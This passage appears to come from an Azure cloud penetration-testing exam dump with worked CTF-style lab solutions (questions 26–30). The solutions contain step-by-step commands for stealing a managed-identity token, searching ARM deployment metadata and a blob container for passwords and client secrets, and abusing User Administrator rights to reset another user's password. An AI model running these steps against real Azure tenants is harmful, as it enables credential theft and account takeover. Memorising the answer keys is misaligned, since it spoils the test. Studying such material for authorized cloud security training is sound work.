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| Section | Objectives |
|---|---|
| Azure Cloud Attack Surface & Reconnaissance | - Identity and tenant reconnaissance (Entra ID) - Azure environment enumeration and asset discovery |
| Azure Infrastructure Exploitation | - Virtual machine compromise and lateral movement - Network security group and virtual network abuse |
| Azure Active Directory (Entra ID) Attacks | - Privilege escalation in Entra ID - Misconfiguration exploitation in identity services |
| Azure Storage & Data Exfiltration | - Sensitive data discovery and extraction - Blob storage misconfiguration exploitation |
| Cloud Attack Chains & Real-World Scenarios | - Multi-stage exploitation paths in Azure environments - Flag-based CTF-style objective completion |
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26. Frage
With access to the Web App's Managed Identity, you can now query certain Azure Resources. Use this access to uncover the hidden secret left behind during provisioning. What is the secret?
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:
sumit.siddharth@azuresecops.onmicrosoft.com
Detailed Solution:
The key point is this: you are no longer only using Alex's user permissions. You must use the Web App managed identity .
From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.
For Linux-style shell:
curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \
-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "
For Windows PowerShell inside Kudu:
$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/
& client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "
$response = Invoke-RestMethod -Uri $uri -Headers @{
" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER
}
$token = $response.access_token
Now use the token to query Azure Resource Manager.
$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "
$rg = " Excalibur-Resources "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-
01 " `
-Headers @{ Authorization = " Bearer $token " }
Next, enumerate ARM deployments.
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
For each deployment name returned, inspect it:
$deploymentName = " < deployment-name > "
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Also check deployment operations:
Invoke-RestMethod `
-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources
/deployments/$deploymentName/operations?api-version=2021-04-01 " `
-Headers @{ Authorization = " Bearer $token " }
Search the output for fields like:
password
secret
adminPassword
userPassword
credential
sumit
The exposed value is the answer to Q4.
A practical one-liner on Linux would be:
curl -s -H " Authorization: Bearer $TOKEN " \
" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups
/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api- version=2021-04-01 " \
| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag ' Final answer:
Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab- generated.
27. Frage
A compromised developer account has Reader access to a resource group. Enumerate all Azure resources in that resource group and identify the exposed App Service name.
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
finance-reporting-api
Detailed Solution:
Set the resource group:
RG= " rg-prod-apps-eastus "
List resources:
az resource list \
--resource-group " $RG " \
--output table
Expected output:
Name ResourceGroup Location Type
---------------------- --------------------- ---------- ------------------------------- finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults The exposed App Service is:
finance-reporting-api
28. Frage
You've discovered that the compromised user holds directory-level privileges. Enumerate how this role can be abused to compromise another user in the directory. What is the Job Title attribute of the compromised target user?
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Detailed Solution:
As the second compromised user, enumerate directory users:
az ad user list --output table
Use a cleaner query to show names, UPNs, and job titles:
az ad user list \
--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \
--output table
You should identify a target user whose profile contains a flag in the jobTitle attribute.
The important target is:
lila.nguyen@azuresecops.onmicrosoft.com
Her jobTitle field contains:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
Because the compromised user has User Administrator, you can reset this target user's password and later authenticate as her.
Final answer:
Flag{92c8bfe4a73f48a6bd94e62fca2179dd}
29. Frage
Carefully enumerate the accessible Azure Blob Container to locate a file containing credentials for an App Registration within the tenant. What is the Application/Client ID of the discovered App Registration?
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
The answer is the clientId, appId, or applicationId value inside the credential file downloaded from the sensitive-files container.
Detailed Solution:
List blobs inside the accessible container:
az storage blob list \
--account-name excaliburstore \
--container-name sensitive-files \
--sas-token " $SAS " \
--query " [].name " \
--output table
Download all files locally:
mkdir blobloot
az storage blob download-batch \
--account-name excaliburstore \
--source sensitive-files \
--destination blobloot \
--sas-token " $SAS "
Search the downloaded files for application credentials:
grep -RniE " clientId|appId|applicationId|clientSecret|tenantId|secret|password " blobloot On Windows PowerShell:
Select-String -Path .\blobloot\* -Pattern " clientId|appId|applicationId|clientSecret|tenantId|secret|password " - CaseSensitive:$false A typical file may look like this:
{
" tenantId " : " f015f36d-c07f-41fb-9bde-fffc3a22ee8b " ,
" clientId " : " < application-client-id > " ,
" clientSecret " : " < application-client-secret > "
}
The clientId / appId value is the answer.
Final answer:
Use the clientId / appId value found in the blob credential file.
30. Frage
You have been given a breached Azure user credential for an authorized lab tenant:
james.ward@cloudcorpsec.onmicrosoft.com
After logging in, identify the Azure Tenant ID and Subscription ID associated with the account.
Antwort:
Begründung:
See the Answer in Explanation below.
Explanation:
Tenant ID: 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a
Subscription ID: 5d8e44ac-24a9-43d9-9cb5-71b227a58021
Detailed Solution:
Log in with the supplied account:
az login -u james.ward@cloudcorpsec.onmicrosoft.com -p ' < password > ' Show the active Azure context:
az account show --output json
Expected relevant output:
{
" id " : " 5d8e44ac-24a9-43d9-9cb5-71b227a58021 " ,
" name " : " CloudCorp Security Lab " ,
" tenantDefaultDomain " : " cloudcorpsec.onmicrosoft.com " ,
" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a "
}
The tenantId is the Microsoft Entra tenant ID. The id field is the subscription ID.
31. Frage
......
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